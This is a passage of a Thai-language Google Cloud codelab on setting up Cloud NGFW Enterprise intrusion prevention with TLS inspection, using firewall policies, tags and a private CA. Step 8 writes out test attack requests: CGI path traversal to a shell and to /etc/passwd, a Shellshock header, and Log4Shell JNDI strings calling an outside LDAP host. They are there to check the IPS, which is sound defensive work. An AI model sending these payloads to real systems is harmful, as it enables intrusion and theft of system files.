1. บทนำ
ไฟร์วอลล์รุ่นถัดไปในระบบคลาวด์ (NGFW)
Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายทั้งหมดที่มาพร้อมความสามารถในการป้องกันขั้นสูง การแบ่งกลุ่มแบบละเอียด และการครอบคลุมที่แพร่หลายเพื่อปกป้องเวิร์กโหลด Google Cloud จากการโจมตีทั้งจากภายในและภายนอก
Cloud NGFW มีประโยชน์ดังต่อไปนี้
- บริการไฟร์วอลล์แบบกระจาย: NGFW บนระบบคลาวด์จะบังคับใช้แบบมีสถานะและแบบกระจายไปยังโฮสต์ทั้งหมดในเวิร์กโหลดแต่ละรายการเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
- การกําหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW ใช้นโยบายไฟร์วอลล์ตามลําดับชั้นและเครือข่ายที่สามารถแนบกับโหนดลําดับชั้นทรัพยากร นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลําดับชั้นทรัพยากร Google Cloud
- การควบคุมแบบละเอียดและการแบ่งกลุ่มย่อย: การใช้ทั้งนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดย Identity and Access Management (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และตะวันออก-ตะวันตกได้ละเอียดลงไปจนถึง VM เดียวในเครือข่ายและองค์กร Virtual Private Cloud (VPC)
Cloud NGFW มีให้บริการใน Tier ต่อไปนี้
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise จะเพิ่มบริการป้องกันอันตรายจากโจรกรรม (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงในโครงสร้างไฟร์วอลล์ Google Cloud แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่ออนุญาตการตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS
ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นถัดไป (NGFW) ระดับ 7 ที่เชื่อถือได้พร้อมการควบคุมแบบละเอียดได้โดยไม่ต้องทำการเปลี่ยนแปลงใดๆ ในสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง
หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS คุณต้องทํางานต่อไปนี้
- สร้างชุดปลายทางของไฟร์วอลล์โซนที่จัดการโดย Google Cloud
- สร้างนโยบายการตรวจสอบ TLS (ไม่บังคับ)
- สร้างการกําหนดค่าการเชื่อถือ (ไม่บังคับ)
- เชื่อมโยงอุปกรณ์ปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่ต้องการใช้บริการ Cloud NGFW Enterprise
- ทำการเปลี่ยนแปลงง่ายๆ ในนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ
นโยบายไฟร์วอลล์เครือข่าย
นโยบายไฟร์วอลล์ของเครือข่ายจะทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ ระบบจะไม่บังคับใช้กฎที่กําหนดไว้ในนโยบายไฟร์วอลล์ของเครือข่ายจนกว่าจะมีการเชื่อมโยงนโยบายกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายจะเชื่อมโยงกับนโยบายไฟร์วอลล์เครือข่ายได้ 1 รายการ นโยบายไฟร์วอลล์ของเครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเพียงแค่แท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและสามารถใช้เพื่อระบุตัวตนให้กับภาระงานได้
การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM ช่วยลดความซับซ้อนในการกําหนดค่าและจัดการไฟร์วอลล์ได้อย่างมาก
นโยบายไฟร์วอลล์ของ Google Cloud ประกอบด้วยคอมโพเนนต์ต่อไปนี้เมื่อมีการใช้นโยบายไฟร์วอลล์ของเครือข่าย
- นโยบายไฟร์วอลล์แบบลําดับชั้น
- กฎไฟร์วอลล์ VPC
- นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)
ระบบรองรับนโยบายไฟร์วอลล์แบบลําดับชั้นที่โหนดองค์กรและโฟลเดอร์ภายในลําดับชั้นทรัพยากร ส่วนกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายจะใช้ที่ระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์ของเครือข่ายคือกฎไฟร์วอลล์ VPC ใช้กับเครือข่าย VPC ได้เพียงเครือข่ายเดียวเท่านั้น ส่วนนโยบายไฟร์วอลล์ของเครือข่ายจะแนบกับ VPC รายการเดียวหรือกลุ่ม VPC ได้ นอกเหนือจากประโยชน์อื่นๆ เช่น การอัปเดตแบบเป็นกลุ่ม
สุดท้ายนี้ เรามีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่ายด้วย
- กฎขาออกที่มีการดำเนินการคืออนุญาต ปลายทางคือ 0.0.0.0/0
- กฎการรับส่งข้อมูลขาเข้าที่มีการดําเนินการคือปฏิเสธ แหล่งที่มาคือ 0.0.0.0/0
โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้
โปรดทราบว่าคุณสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์ของเครือข่ายส่วนกลางได้ ลูกค้าระบุคำสั่งบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud
แท็ก
แท็กที่ผสานรวมในกฎนโยบายไฟร์วอลล์ของเครือข่ายใหม่คือทรัพยากรคู่คีย์-ค่าที่กําหนดไว้ที่องค์กรหรือระดับโปรเจ็กต์ของลําดับชั้นทรัพยากร Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ซึ่งระบุผู้ที่ทําสิ่งต่างๆ ในแท็กได้ ตัวอย่างเช่น สิทธิ์ Identity and Access Management (IAM) ช่วยให้ระบุผู้ใช้หลักที่กําหนดค่าให้กับแท็กได้ และผู้ใช้หลักที่แนบแท็กกับทรัพยากรได้ หากกฎไฟร์วอลล์ของเครือข่ายอ้างอิงแท็ก กฎดังกล่าวจะต้องใช้กับทรัพยากรเพื่อบังคับใช้
แท็กเป็นไปตามรูปแบบทรัพยากรแบบรับช่วงของ Google Cloud ซึ่งหมายความว่าแท็กและค่าของแท็กจะส่งต่อตามลําดับชั้นจากแท็กหลัก ด้วยเหตุนี้ คุณจึงสร้างแท็กในที่เดียว แล้วให้โฟลเดอร์และโปรเจ็กต์อื่นๆ นำไปใช้ในลำดับชั้นทรัพยากรได้ ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้
โปรดอย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยสตริงจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้งานอินสแตนซ์ กฎไฟร์วอลล์ VPC อาจรวมแท็กเครือข่าย แต่จะไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM เนื่องจากไม่ได้ถือว่าเป็นทรัพยากรระบบคลาวด์
โปรดทราบว่าเอกสารนี้ใช้คำว่าแท็กและแท็กที่ควบคุมโดย IAM แทนกันได้
สิ่งที่คุณจะสร้าง
Codelab นี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจํานวนหนึ่ง ซึ่งจะแสดงให้เห็นว่า Cloud NGFW Enterprise สามารถให้บริการฟังก์ชัน IPS ได้อย่างไร โดยทำดังนี้
- การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตขาเหนือด้วยการตรวจสอบ TLS
- การตรวจสอบโฟลว์ภายใน VPC [East-West] ด้วยการตรวจสอบ TLS
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์การจับคู่ของ Cloud Firewall ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก
สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
ลำดับความสำคัญ | ทิศทาง | Target | แหล่งที่มา | ปลายทาง | การดำเนินการ | ประเภท |
100 | ขาเข้า | Server_Tag | การตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | อนุญาต | Essentials |
200 | ขาเข้า | Client_Tag, Server_Tag | IAP | ตามแต่ละประเทศ | อนุญาต | Essentials |
800 | ขาเข้า | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | การตรวจสอบ L7 | Enterprise |
850 | ขาออก | Client_Tag | ตามแต่ละประเทศ | 10.0.0.0/24 | อนุญาต | Essentials |
900 | ขาออก | Client_Tag | ตามแต่ละประเทศ | ตามแต่ละประเทศ | การตรวจสอบ L7 | Enterprise |
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างนโยบายไฟร์วอลล์ของเครือข่าย
- วิธีสร้างและใช้แท็กกับนโยบายไฟร์วอลล์ของเครือข่าย
- วิธีกำหนดค่าและใช้ Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS
สิ่งที่ต้องมี
- โปรเจ็กต์ Google Cloud
- ความรู้เกี่ยวกับการทำให้อินสแตนซ์ใช้งานได้และการกําหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC
2. ก่อนเริ่มต้น
สร้าง/อัปเดตตัวแปร
โค้ดแล็บนี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกําหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คําสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่ต้องการ
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. เปิดใช้ API
เปิดใช้ API หากยังไม่ได้ดำเนินการ
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. การสร้างอุปกรณ์ปลายทางขององค์กร NGFW ในระบบคลาวด์
เนื่องจากการสร้างอุปกรณ์ปลายทาง NGFW Enterprise ในระบบคลาวด์จะใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างอุปกรณ์ปลายทางก่อนและตั้งค่าพื้นฐานควบคู่กันไปขณะที่ระบบสร้างอุปกรณ์ปลายทาง
สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
ผลลัพธ์ที่คาดหวัง
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
ยืนยันว่าสร้างทรัพยากรเรียบร้อยแล้ว
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
เรียกใช้คําสั่งด้านล่างเพื่อยืนยันว่าระบบกําลังสร้างอุปกรณ์ปลายทาง (CREATING)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดหวัง (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
กระบวนการสร้างจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จําเป็นควบคู่กัน
5. การตั้งค่าพื้นฐาน
เครือข่ายและซับเน็ต VPC
เครือข่ายและซับเน็ต VPC
สร้างเครือข่าย VPC และซับเน็ต โดยทำดังนี้
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
สร้าง Cloud Router และเกตเวย์ Cloud NAT โดยทำดังนี้
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
อินสแตนซ์
สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
แท็กระดับโปรเจ็กต์
มอบหมายสิทธิ์ tagAdmin ให้กับผู้ใช้ifจำเป็น
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
สร้างคีย์และค่าแท็กระดับโปรเจ็กต์ ดังนี้
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
เชื่อมโยงแท็กกับอินสแตนซ์ โดยทำดังนี้
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
นโยบายไฟร์วอลล์เครือข่ายทั่วโลก
สร้างนโยบายไฟร์วอลล์ของเครือข่ายที่ครอบคลุม
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
สร้างกฎ Cloud Firewall Essential ที่จําเป็นเพื่ออนุญาตการรับส่งข้อมูลจากช่วง health-check และ identity-aware proxy ดังนี้
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
สร้างกฎไฟร์วอลล์ในระบบคลาวด์ที่จําเป็นเพื่ออนุญาตการรับส่งข้อมูลขาเข้าจากฝั่งตะวันออกไปฝั่งตะวันตก/ภายในซับเน็ตจากช่วงที่ต้องการ (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS)
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. การเชื่อมโยงปลายทางของ Cloud Firewall
กําหนดตัวแปรสภาพแวดล้อมในกรณีที่ยังไม่ได้ทําและ/หรือต้องการใช้แนวทางสคริปต์
ยืนยันว่าการสร้างปลายทางของ Cloud Firewall เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดหวัง (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
เชื่อมโยงปลายทาง Cloud Firewall กับเครือข่าย VPC โดยทำดังนี้
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที โปรดไปยังส่วน TLS เมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoint-associations list
ผลลัพธ์ที่คาดหวังเมื่อดำเนินการเสร็จสมบูรณ์
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. กำหนดค่าทรัพยากร TLS
สร้างพูล CA ระบบจะใช้ทรัพยากรนี้เพื่อจัดเก็บใบรับรอง CA ระดับรูทที่เราสร้างสำหรับ NGFW Enterprise
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
สร้าง CA ระดับสูง นี่คือใบรับรอง CA ที่จะใช้ในการลงนามใบรับรองเพิ่มเติมสำหรับคำขอผ่าน NGFW Enterprise
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
หากได้รับข้อความด้านล่าง ให้ตอบว่า y
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
สร้างบัญชีบริการ ระบบจะใช้บัญชีบริการนี้เพื่อขอใบรับรองสําหรับ NGFW Enterprise
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
ตั้งค่าสิทธิ์ IAM สําหรับบัญชีบริการ ดังนี้
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
สร้างไฟล์ YAML ของนโยบาย TLS ไฟล์นี้จะประกอบด้วยข้อมูลเกี่ยวกับทรัพยากรที่เฉพาะเจาะจง ดังนี้
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
นําเข้านโยบายการตรวจสอบ TLS โดยทำดังนี้
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
อัปเดตการเชื่อมโยงปลายทางเพื่อเปิดใช้ TLS โดยทำดังนี้
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
รับใบรับรอง CA และเพิ่มลงในที่เก็บ CA ของลูกค้า โดยทำดังนี้
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
โอนใบรับรอง CA ไปยังไคลเอ็นต์ โดยทำดังนี้
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH ไปยัง VM, ย้ายใบรับรอง CA ไปยัง /usr/local/share/ca-certificates และอัปเดตที่เก็บ CA โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
ออกจาก Cloud Shell
กระบวนการลงนามใบรับรองของเซิร์ฟเวอร์
ใน Cloud Shell ให้ติดตั้งไลบรารีการเข้ารหัส Pyca โดยใช้คำสั่ง pip ดังนี้
pip install --user "cryptography>=2.2.0"
คุณต้องเปิดใช้แพ็กเกจเว็บไซต์เพื่ออนุญาตให้ Google Cloud SDK ใช้คลังวิทยาการเข้ารหัส Pyca
export CLOUDSDK_PYTHON_SITEPACKAGES=1
สร้างใบรับรองเซิร์ฟเวอร์
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
ซึ่งจะสร้างไฟล์ cert.pem และ key.pem ใน Cloud Shell จากนั้นโอนใบรับรองและคีย์ไปยังเซิร์ฟเวอร์
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
SSH เข้าสู่เซิร์ฟเวอร์เพื่ออัปเดตรายละเอียดใบรับรองสําหรับ Apache
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
ย้ายใบรับรองและคีย์ไปยังโฟลเดอร์ที่ต้องการ
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
อัปเดตการกําหนดค่า SSL เพื่อใช้ใบรับรองที่ลงนามแล้ว
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
รีสตาร์ท Apache
sudo systemctl restart apache2
ยืนยันสถานะ Apache
sudo systemctl status apache2
โดยควรมีสถานะ "ทำงานอยู่"
ออกจาก VM แล้วดำเนินการต่อใน Cloud Shell
8. ตรวจสอบการเชื่อมต่อไปทางเหนือและการเชื่อมต่อตะวันออก/ตะวันตก
เรียกใช้คําสั่งด้านล่างใน Cloud Shell และจด IP เป้าหมายที่จะใช้
gcloud compute instances list --filter="name=($prefix-$zone-www)"
เปิดแท็บใหม่และเริ่มต้นการเชื่อมต่อ SSH กับ VM ของลูกค้าผ่าน IAP (คุณจะต้องกำหนดตัวแปรในแท็บใหม่)
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คําสั่งด้านล่างและจดบันทึก IP เป้าหมายที่จะใช้ สร้างตัวแปรโดยแทนที่ค่าในวงเล็บด้วย IP ที่บันทึกไว้จากขั้นตอนก่อนหน้า และตรวจสอบว่าเข้าถึงได้
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
เรียกใช้ Curl กับ IP ส่วนตัวและตรวจสอบว่าเข้าถึงได้
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดไว้สําหรับคําขอ curl
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
ส่งตัวอย่างการโจมตีไปยัง IP เว็บเซิร์ฟเวอร์ควรตอบกลับคําขอทั้งหมด ซึ่งยืนยันว่าไม่มีการตรวจสอบ/การป้องกัน L7 อยู่
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (IP ส่วนตัว)
400 404 400 200 200
ในทํานองเดียวกัน ให้ส่งคําขอไปยังปลายทางอินเทอร์เน็ตดังนี้
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (ปลายทางอินเทอร์เน็ต)
400 404 400 403 403
ออกจากเทอร์มินัล VM แล้วกลับไปที่ Cloud Shell
9. สร้างและอัปเดตกฎไฟร์วอลล์สําหรับการตรวจสอบ TLS
